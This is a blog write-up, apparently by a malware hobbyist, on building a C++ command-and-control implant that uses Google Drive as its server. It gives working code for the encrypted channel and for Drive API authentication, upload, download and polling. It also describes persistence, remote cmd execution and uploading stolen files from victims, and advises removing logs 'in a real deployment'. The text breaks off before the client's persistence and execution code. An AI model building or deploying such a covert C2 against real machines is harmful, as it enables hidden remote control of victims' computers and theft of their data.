
Project D (Drive C2)

by bernking

After completing ChromeStealer, just like it happens to all of us after finishing a project, I spent some time thinking about what to
do next and what topics I could dive into. This idea has been in the back of my mind for a while now: using a free cloud storage
service as a Command and Control server, or C2 for short. A C2 "refers to the infrastructure and protocols used by threat actors
to manage and coordinate malicious activities, such as data breaches, malware dissemination, and cyber attacks.".

In simple terms, a C2 is used to maintain control over compromised networks and devices and is made up of two main parts: the
server and the client. Luckily for us, most of the server backbone (network, storage management) is done because we are using
Google Drive. To add to this, every Google Drive account comes with 15GB of free storage, which will be more than enough for
our needs.

With that said, the current blog post describes the process of creating a C2 in C/C++. While I found several resources exploring
this technique in either PowerShell using Dropbox (DBC2) or in Go using Google Drive (GC2-sheet), I didn't find anything in
C/C++ that satisfied me. Additionally, the current implementation that I found in Go has a lot more room for improvement.
Therefore, I decided to build my own write-up about the process.

You can find the full code and additional details in my GitHub repository: Project D.

Proof-of-concept focus

This POC is intentionally loud and simple: I use basic primitives (like spawning cmd.exe  with pipes) and log every major
action to the console on both client and server. In a real deployment, you'd nuke most client logs and probably swap in
stealthier IPC, but for dev and testing, noisy logs are gold for debugging and flow validation.
Also, this design allows anyone interested to build upon it and include new functionalities.

Process Overview

As mentioned before, the C2 server consists of two main components: the server and the client. To achieve the final result, I will
outline the process to make it more organized and provide a general idea of how our server and client must work and interact.
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System Flow

When the victim machine runs our client executable, we expect four main things to happen:

On the server side, we expect our server to read the information that our clients are sending to Google Drive in real-time. From
the terminal of our machine, we want to be able to:

To achieve these connections, we will use the Google Drive API and HTTP requests to perform operations such as uploading
files. Later, we will cover how to obtain access to an API key and start interacting with the API.

We will encrypt the data before storing it on our server (Google Drive) using AES-GCM / AES-256 to ensure security. This way, if
an unauthorized person gains access to our server, they won't be able to read the data. On the server side, before accessing
the data, we will decrypt it to its original state to read it. Additionally, instead of downloading the file to disk, we will fetch the file
directly into memory and decrypt it there. This approach leaves no disk traces. It's important to remember to clear the memory
after these operations.

Encryption Process

After exploring some encryption options and tinkering with AES-GCM/AES-256 during the Chrome Stealer project I decided to
use a mix of Asymmetric Key Exchange, which "is the field of cryptographic systems that use pairs of related keys. Each key
pair consists of a public key and a corresponding private key." that together can create a set of private shared keys that can
be used as keys to other algorithms and AES-256, which "is a specification for the encryption of electronic data established by
the U.S. National Institute of Standards and Technology (NIST) in 2001."

By combining these 2 methods we achieve a secure and efficient encryption system:

With this said, the process to encrypt our data will be the following:

1. Persistence: The client must find a way to persist in the system. This means that despite disruptions such as restarts or lost
internet connections, our program will maintain long-term access to the system and keep running.

2. Folder Creation: The client must create a folder in Google Drive with its ID or name.
3. Information Storage: Inside the folder, the client must create a JSON file that holds important information about the

machine, such as the user name, computer type, hardware type, time of initial connection, and connection status.
4. Connection: The client must establish a permanent connection to the server. For example, it should check the server (in

this case, Google Drive) every 5 seconds for new instructions such as commands to execute or files to download or upload.
5. Logging: The client must save logs of all connections, maintaining records of executed commands, times of execution, and

files downloaded and uploaded. These logs will be sent to the server after interacting with the victim machine.

1. Check Online Status: Check which machines are online.
2. Send Instructions: Send instructions to each machine individually, such as executing commands in the cmd, and

downloading or uploading files from and to the server.

3. File Navigation: Navigate Google Drive files from the terminal.
4. File Management: Upload or download files from Google Drive.
5. Client Shutdown: Shut down all clients if needed.****

1. Key Exchange Security: Asymmetric encryption securely exchanges the symmetric key used by AES-256.
2. Efficiency: Symmetric encryption rapidly encrypts and decrypts large amounts of data using the securely exchanged key.
3. Overall Security: Combining both methods ensures data is both securely transmitted and efficiently processed, minimizing

vulnerabilities.

1. Generate Key Pairs: The server and the client each generate their own asymmetric key pairs (public and private keys).

2. Exchange Public Keys: Public keys are securely shared through a folder corresponding to the compromised user's
machine.

3. Generate Shared Keys: The compromised machine uses its private key and the attacker's public key to generate shared
keys: a receive key  (rx) and a transmit key  (tx).

4. Encrypt Data: Data is encrypted using AES-256, with the transmit key  (tx) as the encryption key.
5. Upload Encrypted Data: The encrypted data is then uploaded.
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Using Shared Keys for Communication:

Code Organization

To keep our project organized and clean I decided to program it following the OOP, short for Object-oriented programming,
which "is a programming paradigm based on the concept of [objects](https://en.wikipedia.org/wiki/Object(computerscience)
"Object (computer science)"), which can contain data and code: data in the form of fields (often known as attributes or
properties), and code in the form of procedures (often known as methods)". Since C++ can be used to program with this
paradigm I will make use of it as it will keep our code easier to understand.

Our project will be structured into four main classes: Client , Server , DriveAPI , and Encryption .

The Server  and Client  classes with make use of the other 2 classes to achieve their end goal.
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I am using Visual Studio 2022 to build and program this project. The programs executed on the attacker machine and the
compromised machine are different. To create two different builds, to create our project in a different manner:

Encryption Class

6. Download and Decrypt Data: The attacker uses their private and public key and the compromised machine's public key to
generate the same shared keys and decrypts the data using the receive key  (rx).

When the user sends information to the server, they use their transmit key to encrypt the data. The server then uses its
receive key to decrypt the data.

If the server is sending data to the user, the server uses its transmit key to encrypt the data, and the user uses their
receive key to decrypt it.
These keys are secure and private, as they are generated using each party's private key.

Client: Represents the compromised machine.
Server: Represents the attacker's machine.
DriveAPI: Handles interactions with Google Drive.

Encryption: Manages all encryption and decryption processes.

1. Create a New Solution.
2. Instead of a single project, create three projects within the same Solution: the client project and the server project, as they

need to be built separately and a Shared Items Project to hold the DriveAPI and Encryption Classes.
3. Reference the Shared Items Project in both the client and server projects by right-clicking on each project, selecting Add

-> Reference... , and checking the Shared Project.
4. To build the projects separately, change the Configure Startup Projects...  -> Common Properties  -> Startup

Project  and select the Current Selection  option. This allows Visual Studio to build the selected project.

https://en.wikipedia.org/wiki/Object-oriented_programming
https://en.wikipedia.org/wiki/Programming_paradigm
https://en.wikipedia.org/wiki/Object
https://en.wikipedia.org/wiki/Data
https://en.wikipedia.org/wiki/Source-code
https://en.wikipedia.org/wiki/Field_(computer_science)
https://en.wikipedia.org/wiki/Attribute_(computing)
https://en.wikipedia.org/wiki/Property_(programming)
https://en.wikipedia.org/wiki/Procedure_(computer_science)
https://en.wikipedia.org/wiki/Method_(computing)


The Encryption  class is responsible for securing the communication between our client and server (e.g., data sent to and from
Google Drive). It combines two cryptographic strategies: an asymmetric key exchange to establish shared secrets, and AES-
256-GCM authenticated encryption for the actual data transfer. We organize our code with a C++ header file (defining the class
structure) and a source file (implementing the methods). The key methods provided by this class include:

Attributes: Each Encryption  instance stores a role  (to distinguish between a Client  or Server ) and a nonce . A nonce, as
defined here, is “an arbitrary number that can be used just once in a cryptographic communication.” Best practice is to generate
a random nonce when a new encryption key is created and then increment it for each subsequent message using that key. By
maintaining the nonce  as a class member, we can safely reuse it and increment it for each encryption operation.

We use the Libsodium library to handle the heavy lifting of cryptography. Libsodium is a user-friendly library for encryption,
decryption, key exchange, and more. To define the two distinct roles in our protocol, we use an enum class :

Using a strongly-typed enum makes the code more readable and restricts the role  value to either Client  or Server  (and
nothing else). In the class constructor, we initialize Libsodium and prepare our initial random nonce:

Here we call sodium_init()  once at startup to initialize the library (and abort if it fails). We then allocate our nonce  vector to
the required size ( crypto_aead_aes256gcm_NPUBBYTES  bytes, which is the standard nonce length for AES-256-GCM) and fill it
with a cryptographically secure random value. With the class set up, we can now move on to generating keys and setting up the
encrypted communication channel.

Generating the Key Pair ( GenerateKeyPair )

To begin an encrypted session, each side (client and server) needs its own asymmetric key pair. Libsodium’s key exchange
documentation suggests using an elliptic curve key pair for this purpose. In our implementation, we generate a key pair suitable
for Libsodium’s crypto_box functions (Curve25519 keys):

We start by defining two byte-vector buffers to hold the keys. Each is initialized to the size of the key as defined by Libsodium
constants: crypto_box_PUBLICKEYBYTES  for the public key and crypto_box_SECRETKEYBYTES  for the private key. Using
std::vector<unsigned char>  here (instead of raw C arrays) is a conscious decision – it provides automatic memory
management and bounds safety, avoiding manual allocation and deallocation.

Next, we generate the key pair using Libsodium:

GenerateKeyPair  – Generates an asymmetric key pair (public and private keys) for key exchange.
CreateSharedKeys  – Computes a pair of shared symmetric keys (one for receiving/decryption and one for
transmitting/encryption) using our key pair and a remote party’s public key.
EncryptData  – Encrypts outgoing data using the shared transmit key (AES-256-GCM).
DecryptData  – Decrypts incoming data using the shared receive key (AES-256-GCM).
IncrementNonce  – Increments the internal nonce value to ensure each message uses a unique nonce.

enum class Role {

Client,

Server

};

if (sodium_init() < 0) {

/* panic! the library couldn't be initialized; it is not safe to use */

abort();

}

nonce.resize(crypto_aead_aes256gcm_NPUBBYTES);

randombytes_buf(nonce.data(), nonce.size());

std::vector<unsigned char> publicKey(crypto_box_PUBLICKEYBYTES);

std::vector<unsigned char> privateKey(crypto_box_SECRETKEYBYTES);

https://en.wikipedia.org/wiki/Cryptographic_nonce
https://doc.libsodium.org/
https://libsodium.gitbook.io/doc/key_exchange


The function crypto_box_keypair()  fills our publicKey  and privateKey  buffers with a new key pair. We pass in the
.data()  pointers of the vectors to give the function access to the underlying byte arrays. If the result is non-zero, it indicates
failure (for example, if the random number generator failed), and we return an empty pair to signal that key generation didn’t
succeed.

On success, we return the generated keys as a std::pair  for convenience. The caller will receive a pair where first  is the
public key and second  is the private key (both as std::vector<unsigned char> ). With this key pair in hand, we can proceed
to derive the shared session keys for encryption.

Creating Shared Keys ( CreateSharedKeys )

After exchanging public keys between the client and server, each side can compute shared session keys. These are
symmetric keys used for the actual AES-256 encryption. Libsodium’s key exchange API ( crypto_kx_*  functions) will compute
two keys: a receive key (often called rx) and a transmit key (tx). The receive key is used to decrypt data coming from the
other party, and the transmit key is used to encrypt data to the other party. This separation ensures that even if one direction of
communication is somehow compromised, the other direction remains secure.

Inside our CreateSharedKeys  function, we first allocate buffers for the two session keys:

This reserves space for the receive (rx) and transmit (tx) keys, each of length crypto_kx_SESSIONKEYBYTES  as defined by
Libsodium. We then unpack our own key pair (generated earlier) for use:

By using references to the keyPair.first  and keyPair.second , we avoid copying the vectors and simply refer to the original
keys.

Now, depending on the role of this instance (client or server), we call the appropriate Libsodium function to compute the session
keys:

int result = crypto_box_keypair(publicKey.data(), privateKey.data());

if (result != 0) {

// Key creation failed

return {};

}

return std::make_pair(publicKey, privateKey);

std::vector<unsigned char> receiveKey(crypto_kx_SESSIONKEYBYTES);

std::vector<unsigned char> transmitKey(crypto_kx_SESSIONKEYBYTES);

// Access keyPair components by reference (avoid copying)

const std::vector<unsigned char>& publicKey  = keyPair.first;

const std::vector<unsigned char>& privateKey = keyPair.second;

if (role == Role::Client) {

if (crypto_kx_client_session_keys(receiveKey.data(), transmitKey.data(),

publicKey.data(), privateKey.data(),

otherPublicKey.data()) != 0) {

/* Suspicious server public key, bail out */

return {};

}

} else {

if (crypto_kx_server_session_keys(receiveKey.data(), transmitKey.data(),

publicKey.data(), privateKey.data(),

otherPublicKey.data()) != 0) {

/* Suspicious client public key, bail out */

return {};



If we are the client, we use crypto_kx_client_session_keys(...) , passing in our receive/transmit key buffers, our public key,
our private key, and the other party’s public key. If we are the server, we call the corresponding
crypto_kx_server_session_keys(...)  function with the same parameters. Under the hood, these functions perform a Diffie–
Hellman exchange: combining our private key with the remote public key to derive shared secrets. Each returns 0 on success or
-1 on failure (for example, if the provided public key is not valid for key exchange). A non-zero return is treated as a “suspicious
public key” and we abort the operation by returning an empty pair.

On success, we return the two session keys as a pair: the first element is the receive key (to decrypt incoming data) and the
second is the transmit key (to encrypt outgoing data). At this point, both parties (client and server) will have matching
transmit/receive keys (one side’s transmit key is the other side’s receive key, and vice versa). Now we’re ready to encrypt and
decrypt the actual data using these shared keys.

Encrypting Data ( EncryptData )

With the shared transmit key established, we can encrypt our data using the AES-256-GCM algorithm. Libsodium provides the
crypto_aead_aes256gcm_encrypt()  function to perform authenticated encryption. According to the documentation, this function
requires several parameters, but the ones important to us are:

Before calling the encryption function, we perform a couple of setup steps:

First, we check if the CPU supports the hardware-accelerated AES-256-GCM implementation. Libsodium can use hardware
AES instructions for better performance; if the function returns 0 (not available), we abort since software fallback might not be
enabled (this is just a precaution; in many cases libsodium would handle it, but our code chooses to stop).

Next, we determine the length of the input data  in bytes ( dataSizeBytes ). We then increment our nonce before using it, to
ensure this encryption uses a fresh unique nonce (recall that the nonce was initially random, and we must never reuse a nonce
with the same key). The call to IncrementNonce(nonce)  modifies our stored nonce in place. We allocate a vector
encryptedData  with size equal to the plaintext length plus crypto_aead_aes256gcm_ABYTES  (16 extra bytes for the
authentication tag). We also prepare a variable encryptedLen  to receive the length of the ciphertext output.

}

}

return std::make_pair(receiveKey, transmitKey);

unsigned char *c  – Output buffer where the encrypted message and authentication tag will be written. It must be big
enough to hold the ciphertext plus a 16-byte tag ( crypto_aead_aes256gcm_ABYTES  is 16).
unsigned long long *clen_p  – Output variable to store the length of the ciphertext (can be NULL  if we don't need the
length).
const unsigned char *m  – The message to encrypt (plaintext).
unsigned long long mlen  – Length of the plaintext message in bytes.
const unsigned char *npub  – The public nonce, which must be unique for each encryption with the same key. Reusing a
nonce with the same key is a serious security flaw.
const unsigned char *k  – The secret key for encryption (in our case, the 256-bit transmit key).

if (crypto_aead_aes256gcm_is_available() == 0) {

abort(); // AES-256-GCM not available on this CPU

}

size_t dataSizeBytes = data.size();

IncrementNonce(nonce);

std::vector<unsigned char> encryptedData(data.size() + crypto_aead_aes256gcm_ABYTES);

unsigned long long encryptedLen;

https://libsodium.gitbook.io/doc/secret-key_cryptography/aead/aes-256-gcm


Nonce Management

The IncrementNonce  function simply treats the nonce  byte array as a little-endian integer that we increment by one. Its
implementation loops from the last byte to the first, incrementing and carrying over any overflow:

This ensures that after each call, the nonce vector has a unique value (e.g., if the nonce was 00 00 ... 00 FF  it would carry
over to 01 00 ... 00 00 , etc.). By updating the nonce for every message, we prevent accidental reuse of a nonce, which is
critical for security.

Now we can perform the actual encryption:

We call crypto_aead_aes256gcm_encrypt , passing in all the parameters as described above: the output buffer and its length
variable, the plaintext data and length, no additional authenticated data ( nullptr  and 0 here because we only want to encrypt
the message itself), no secret nonce ( nullptr  since AES-GCM uses only a public nonce), our current nonce , and the
transmitKey . If this function returns non-zero, it means the encryption failed (which is unlikely if inputs are correct), so we abort
in that case.

Finally, we package up the result:

We return a pair containing the encrypted byte vector and the nonce used for this encryption. Both pieces are required for
decryption on the receiving side: the ciphertext (with its authentication tag) and the exact nonce that was used. The nonce
value is not secret – it can be sent in plaintext alongside the ciphertext – but it must match the one used during encryption for
the decryption to succeed.

Decrypting Data ( DecryptData )

The DecryptData  function reverses the encryption process. It takes as input the pair we got from EncryptData  (which contains
the ciphertext and the nonce) along with our receive key for decryption. Using the receive key and the provided nonce, we can
attempt to decrypt and verify the message.

First, we extract the two components from the input pair:

For clarity, we assign encryptedFileData  to reference the ciphertext bytes, and nonce  to reference the nonce used for that
ciphertext. (Using references avoids copying the data.)

for (int i = nonce.size() - 1; i >= 0; --i) {

if (++nonce[i] != 0) {

break;

}

}

if (crypto_aead_aes256gcm_encrypt(

encryptedData.data(), &encryptedLen,

data.data(), dataSizeBytes,

nullptr, 0, // no additional data

nullptr, // no secret nonce

nonce.data(), transmitKey.data()) != 0)

{

abort(); // Encryption failed

}

return std::make_pair(encryptedData, nonce);

// Access encrypted data and nonce from the input pair

const std::vector<unsigned char>& encryptedFileData = encryptedData.first;

const std::vector<unsigned char>& nonce            = encryptedData.second;



We know the ciphertext includes a 16-byte authentication tag appended to the original plaintext. Thus, the plaintext’s length will
be encryptedFileData.size() - crypto_aead_aes256gcm_ABYTES . We allocate a buffer of that size for the decrypted output:

Now we call Libsodium to decrypt and authenticate the data in one step:

Let’s break down what happens here. We call crypto_aead_aes256gcm_decrypt()  with the following parameters:

If decryption fails – for example, if the data was tampered with, the wrong key or nonce is used, or the authentication tag doesn’t
match – the function returns -1. In our code, we check for a non-zero return (or any obvious size mismatch) and handle it as a
failure. In that case, we log "Decryption failed!"  and return an empty result. (In a robust application, we might throw an
exception or handle the error more gracefully; here we simply signal failure.)

If the function returns 0, the data was successfully decrypted and authenticated. The plaintext bytes are now stored in
decryptedFileData . Finally, we return the decrypted data:

At this point, the caller (our application layer) can take the decryptedFileData  vector and interpret it as the original message
(e.g., convert it to the appropriate format or text). The encryption and decryption process is thus complete – using Libsodium’s
high-level API, we generated a key pair, derived shared keys, and securely transmitted data with AES-256-GCM, using a unique
nonce for each message to maintain confidentiality and integrity.

DriveAPI Class

This was by far the most challenging and time-consuming part of the project. Implementing Google Drive API calls in C++ felt
much more complex than in Python, partly due to Google's unclear documentation for service accounts and the intricacies of
performing HTTP requests in C++. To make it work, I designed a dedicated DriveAPI  class to handle authentication and all
interactions with Google Drive.

Key external libraries: I chose to use two header-only libraries to simplify this task:

std::vector<unsigned char> decryptedFileData(

encryptedFileData.size() - crypto_aead_aes256gcm_ABYTES

);

if (encryptedFileData.size() < crypto_aead_aes256gcm_ABYTES ||

crypto_aead_aes256gcm_decrypt(

decryptedFileData.data(), nullptr,

nullptr, // no secret nonce

encryptedFileData.data(), encryptedFileData.size(),

nullptr, 0, // no additional data

nonce.data(), receiveKey.data()) != 0)

{

std::cerr << "Decryption failed!" << std::endl;

return {};

}

The output buffer ( decryptedFileData.data() ) and a nullptr  for output length (we can ignore the exact length because
we know how many bytes to expect).
nullptr  for secret nonce (matching how we encrypted, since we didn’t use an extra secret nonce).
The input ciphertext ( encryptedFileData.data()  and its length).
nullptr  and 0 for additional authenticated data (since none was used during encryption).
The nonce used for this message ( nonce.data() ).
The symmetric key to decrypt ( receiveKey.data() ).

return decryptedFileData;



Base URL and Client Reuse

In the DriveAPI  constructor, we initialize an httplib::Client  with Google's API base URL
( https://www.googleapis.com ). This way, for every request we can just pass the endpoint path (like "/drive/v3/files" )
instead of the full URL. The Client  persists across calls, and we set its authorization header once we have a token, which
then applies to all subsequent requests.

The DriveAPI  class is responsible for obtaining OAuth2 tokens and performing all needed Drive actions (creating folders,
uploading/downloading files, searching, etc.). Here are the key methods in this class:

GenerateJWT

Obtaining the Service Account Key JSON

To generate the service-account credentials file (the JSON containing your client email, private key, and all necessary IDs),
follow Google's official guide: Creating a service account

Google's service account authentication requires constructing a JWT and signing it with our service account's private key, as
outlined in Google's documentation. Using jwt-cpp, we can do this in a few lines of C++ code. First, we prepare the time claims
for "issued at" ( iat ) and expiration ( exp ); Google accepts tokens that expire within an hour. Then we create the JWT:

jwt-cpp – a C++ library for creating and signing JSON Web Tokens, which we use to authenticate with Google. It let us craft
a signed JWT for our Google service account without dealing with low-level crypto details. (Official docs: Thalhammer/jwt-
cpp)
cpp-httplib – a lightweight HTTP client library for C++. This provides an easy way to make HTTPS requests (GET, POST,
etc.) directly from C++ code, obviating the need for libcurl or Boost.Beast. We use it to send REST requests to Google's
endpoints for OAuth2 and Drive operations. (Official docs: yhirose/cpp-httplib)

GenerateJWT  – Creates a signed JWT (JSON Web Token) for our Google service account authentication. It sets the
required claims (issuer, audience, scope, iat, exp) and signs the token with our private key using the RS256 algorithm.
RequestAccessToken  – Exchanges the signed JWT for an OAuth2 access token by calling Google's token endpoint. The
returned access token (a bearer token) is stored for authorizing subsequent Drive API calls.
Authenticate  – One-liner wrapper that takes the service-account private key, internally calls GenerateJWT  +
RequestAccessToken , and caches the key for later refreshes.
RefreshAccessToken  – Transparently renews the bearer token when it has < 5 minutes of life left (invoked inside
SetBearerToken ).
CreateUserFolder  – Creates a new folder in Google Drive (in the root, for the service account) to represent a compromised
client. It first names it "User" (a placeholder) and then immediately renames the folder to its own Drive ID, which we use as
that client's unique identifier.
UploadFile  – Uploads a file (or updates it if it already exists) into a specified Drive folder, using a multipart HTTP request.
We use this to push encrypted data (like the client's info or command results) to the Drive C2.
DownloadFile  – Downloads a file's content from Drive by file ID. We use this to retrieve encrypted instructions or other files
from the C2.
SearchFileName  / SearchFileNamePerUser  – Helpers that query Drive for files by name. We often use
SearchFileNamePerUser(folderId, name)  to check if a given file (e.g. "public_key" or "status") already exists in a client's
folder. This helps us avoid creating duplicates by instead updating the existing file.
DeleteDriveFile  – Deletes a file or folder by ID (see Drive delete guide). (Used mostly for cleanup or in a "self-destruct"
scenario.)
ListUsers  – Finds all user folders in Drive (by searching for the folder MIME type) and gathers their important file IDs
( info , public_key , status  files). This allows the server to enumerate all active clients and quickly access their data.

auto token = jwt::create()

.set_issuer("your-service-account@<project-id>.iam.gserviceaccount.com")

.set_audience("https://oauth2.googleapis.com/token")

.set_issued_at(now_time_point)

.set_expires_at(exp_time_point)

.set_payload_claim("scope", jwt::claim(std::string("https://www.googleapis.com/auth/drive")))

.sign(jwt::algorithm::rs256(/* public key = */ "", /* private key = */ private_key, "", ""));

https://developers.google.com/identity/protocols/oauth2/service-account#creatinganaccount
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https://github.com/yhirose/cpp-httplib
https://developers.google.com/workspace/drive/api/guides/delete


Using the service account's client email as the JWT issuer and the OAuth2 token URL as the audience is crucial for Google to
accept the token. We also include the Drive API scope ( https://www.googleapis.com/auth/drive ) so that the token grants
access to Google Drive. The jwt-cpp  library handles the heavy lifting of JWT assembly and cryptographic signing using our
RSA private key. The output is a JWT string, which we then send to Google to get an access token.

RequestAccessToken

Once we have the signed JWT, we exchange it for an OAuth2 access token. This is done by making a POST request to
Google's token endpoint ( /token ) with our JWT in the request body, as per Google's service account flow. With cpp-httplib, a
simple call does the job:

Here we post the JWT ( assertion= ) along with the special grant type for JWT OAuth. Google responds with a JSON
containing an access_token  (and an expiration). We parse the JSON and store the token in our accessToken  member. From
this point on, we can call Drive APIs by authenticating with this bearer token.

Setting the Bearer Token

After obtaining the token, DriveAPI::SetBearerToken()  is called to set the authorization header for our stored
httplib::Client . Internally this uses API.set_bearer_token_auth(accessToken) , which means we don't need to
manually add "Authorization: Bearer <token>"  for each request – the client will do it for us.

Authenticate

A convenience entry-point used by both the client and the server:

This replaces the old "generate JWT → request token" code I had in the constructors.

Automatic token refresh ( RefreshAccessToken )

Google Drive service-account token doc

Google limits a service-account access token to 3600 s.
DriveAPI  stores the expiry ( tokenExpiration ) plus the private key and, each time SetBearerToken()  runs, executes:

Result: the C2 keeps talking to Drive indefinitely with only the occasional ~200 ms refresh when needed.

CreateUserFolder

When a new client runs for the first time, it should create its own folder in Google Drive to store all its files. The
CreateUserFolder  method handles this. We send a POST request to the Drive REST API to create a folder (which in Drive is
just a file with a special MIME type, see Drive folders guide and Create File guide):

std::string postData = "grant_type=urn:ietf:params:oauth:grant-type:jwt-bearer&assertion=" + jwtToken;

httplib::Client client("https://oauth2.googleapis.com");

auto res = client.Post("/token", postData, "application/x-www-form-urlencoded");

if (res && res->status == 200) {

auto jsonResponse = json::parse(res->body);

accessToken = jsonResponse["access_token"];

}

std::string key = load_private_key_from_json("service-account.json");

driveAPI.Authenticate(key); // handles JWT + access-token

1. If now < tokenExpiration − 5 min  → instant return, no HTTP call.

2. Otherwise it builds a new JWT, posts to /token , stores the fresh bearer and resets the timer.

std::string bodyFolder = R"({

"name": "User",

"mimeType": "application/vnd.google-apps.folder"

https://developers.google.com/identity/protocols/oauth2/service-account?authuser=4#httprest_1
https://developers.google.com/workspace/drive/api/guides/folder
https://developers.google.com/workspace/drive/api/guides/create-file


We initially name the folder "User" , but once Drive returns the new folder's ID, we immediately rename it to that ID. This trick
gives each client a unique identifier in Drive (and avoids having multiple folders named "User"). The folder ID is crucial because
we use it in all subsequent calls to upload or search files for that particular client. Finally, the client will persist this ID (for
example, storing it in the registry) so that on the next run it knows it already has a Drive home to use.

UploadFile

Uploading files to Google Drive via the REST API was one of the hardest parts to implement. The Drive API expects a multipart
HTTP request when uploading file content along with file metadata in a single call (see Manage uploads guide). In Python,
libraries hide this complexity, but in C++ we built the multipart request by hand using cpp-httplib .

The UploadFile  function takes a JSON object (our data to upload, often already encrypted and encoded) and a target file
name. It also accepts an optional fileIdUpdate  – if we pass an existing Drive file ID here, the function will update that file
instead of creating a new one. This lets us reuse the same file (e.g., updating a "status" or "command_output" file repeatedly)
instead of littering the Drive with new files.

Constructing the multipart request involves writing out the proper MIME boundaries and headers in the request body:

We chose a simple boundary string ( foo_bar_baz ) and then wrote two parts: the metadata (file name, MIME type, and parent
folder if applicable) and the file content. Both parts are just JSON strings in our case – metadata is a small JSON, and the
content is the dataToUpload  JSON serialized with dump() . Each part is separated by the boundary lines, and the whole
request is marked as multipart/related  with our boundary in the header.

})";

auto result = API.Post("/drive/v3/files", bodyFolder, "application/json");

json responseBody = json::parse(result->body);

std::string folderId = responseBody["id"];

// Rename the folder to its own ID for uniqueness

std::string newNameJson = "{\"name\": \"" + folderId + "\"}";

API.Patch(("/drive/v3/files/" + folderId + "?fields=name").c_str(), newNameJson, "application/json");

const std::string boundary = "foo_bar_baz"; // boundary token for multipart

// Prepare the JSON metadata for the file

std::string metadata = fileIdUpdate.empty() ?

(folderID.empty()

? R"({ "name": ")" + fileName + R"(", "mimeType": "application/json" })"

: R"({ "name": ")" + fileName + R"(", "mimeType": "application/json", "parents": [")" + folderID +

R"("] })")

: R"({ "name": ")" + fileName + R"(", "mimeType": "application/json" })";

// Build the multipart/related body with metadata and file content

std::stringstream requestBody;

requestBody << "--" << boundary << "\r\n"

<< "Content-Type: application/json; charset=UTF-8\r\n\r\n"

<< metadata << "\r\n"

<< "--" << boundary << "\r\n"

<< "Content-Type: application/json\r\n\r\n"

<< dataToUpload.dump() << "\r\n"

<< "--" << boundary << "--";

// Set the content type header with boundary

httplib::Headers headers = {

{"Content-Type", "multipart/related; boundary=" + boundary}

};

// Send the upload request (POST for new file, PATCH if updating existing file)

auto result = fileIdUpdate.empty()

? API.Post("/upload/drive/v3/files?uploadType=multipart", headers, requestBody.str(),

"application/json")

: API.Patch(("/upload/drive/v3/files/" + fileIdUpdate + "?uploadType=multipart").c_str(),

headers, requestBody.str(), "application/json");

https://developers.google.com/workspace/drive/api/guides/manage-uploads#python_1


Using httplib::Client , we then POST to the Drive API's upload endpoint. Google requires the query parameter
uploadType=multipart  for this kind of upload. If we are updating an existing file, we use a PATCH request to the file's specific
URI (including the file ID). On success, Drive will respond with a JSON containing the file's metadata (including a new file ID if it
was created). We check result->status == 200  to confirm the upload succeeded.

This function is the workhorse for sending data to our cloud C2. The client uses UploadFile  to send up things like its
public_key , the initial info  file (machine details), periodic status  updates, and any command results or stolen files. The
server, on the other hand, can use the same method (through the DriveAPI class) to upload command instructions or collect files
from clients.

DownloadFile

Downloading a file from Drive is thankfully simpler. (see Manage downloads guide) If we know the file's Drive ID, we can issue a
GET request to the Drive API with that ID and the ?alt=media  query parameter to fetch the file's contents directly:

The alt=media  flag tells Google to return the file data itself (not metadata). Since all of our C2 files (commands, info, etc.) are
stored as JSON content, we directly parse the response body into a JSON object and return that. The client then decrypts the
JSON if needed (using the Encryption class) and acts on it. For example, when the client finds a new "command_file" , it calls
DownloadFile  to get the encrypted command JSON, decrypts it, and executes the instruction.

Searching and Checking for Files

To enable a two-way communication using Drive, both the client and server frequently need to find files by name or by content.
The Drive API supports query strings for searching (see Search files guide). In our class, SearchFileName  searches the entire
Drive (accessible to the service account) for files whose name contains a given string. SearchFileNamePerUser(folderId,
name)  does the same but within a specific folder (by adding the "'' in parents" filter).

We often use these to check if a file already exists so we know whether to create a new one or just update it. For instance, when
the client is about to upload its "public_key"  or "status" , it calls SearchFileNamePerUser(clientFolderId,
"public_key")  to see if that file is already present in its Drive folder:

Checking for File Existence

The client implements a helper CheckFileExists(fileName)  that uses DriveAPI::SearchFileNamePerUser . If a file with
that name is found in the client's folder, the function returns its ID. This way, before uploading, the client knows whether to call
UploadFile  with an empty fileIdUpdate  (to create a new file) or with the existing file's ID (to update it). This approach
prevents duplicate files like multiple "public_key" entries for the same machine.

Similarly, on the server side, ListUsers  uses a query to get all folders (each representing a client) and then calls
SearchFileNamePerUser  for each folder to find that client's info , public_key , and status  file IDs. This gives the server a
quick snapshot of all connected clients and the resources available for each.

Enabling the C2 Workflow

With authentication and basic file operations in place, the DriveAPI class became the backbone of our C2 communication. The
client continuously polls its Google Drive folder (every few seconds) for new command files using SearchFileNamePerUser
(looking for files named like "command_file_*" ). When it finds a new command, it downloads it with DownloadFile , decrypts it,
and executes the instruction (e.g. run a shell command, download a file, or upload a file). After execution, the client uses
UploadFile  to push the results back to Drive – typically as a file named "command_output_<id>"  containing the output or
status of the command.

On the server side, sending a command is as easy as crafting the command JSON and using DriveAPI::UploadFile  to drop a
new file into the target client's folder (for example, a JSON file named "command_file_12345" ). The client will pick it up on the
next poll. The server can also fetch data by looking into the client's folder: for instance, after instructing a client to run a

std::string url = "/drive/v3/files/" + fileID + "?alt=media";

auto result = API.Get(url.c_str());

if (result && result->status == 200) {

return json::parse(result->body);

}

return json(); // return empty JSON on failure

https://developers.google.com/workspace/drive/api/guides/manage-downloads
https://developers.google.com/workspace/drive/api/guides/search-files


command or take a screenshot, the server checks for the corresponding "command_output_*"  file, then downloads and
decrypts it via the DriveAPI.

In essence, the DriveAPI  class abstracts away the HTTP calls and formatting needed to talk to Google Drive. With it, our C2
system can treat Google Drive almost like a remote filesystem or message queue — creating folders for each client, dropping
command files, and reading result files — all secured by encryption and authenticated with Google's APIs.

Client Component

The client side of ProjectD is implemented by the Client class and a small ClientMain.cpp  routine. This component runs on a
target Windows machine and is responsible for establishing a secure C2 channel (via Google Drive), registering itself with the
server, maintaining persistence on the host, and continuously polling for commands to execute. All network communication
occurs through Google's cloud storage and is protected with strong encryption (using libsodium for key exchange and AES-
GCM). We'll examine the Client class design, its initialization process, the main loop that waits for tasks, and how it executes
various command types. We'll follow the client's operation chronologically – from startup and C2 registration, through periodic
status beacons and command execution, to the shutdown/self-destruct routine – explaining key code segments along the way.

No Focus on Stealth

This client implementation prioritizes core functionality over stealth or evasion. It does not employ advanced antivirus/EDR
bypass techniques or sophisticated hiding of its presence. The goal is to demonstrate the mechanics of persistence,
command-and-control, and encryption in a straightforward manner, rather than to build an undetectable implant.

Class Overview and Design

The Client class encapsulates the state and behaviors needed for the C2 agent. Key members include:

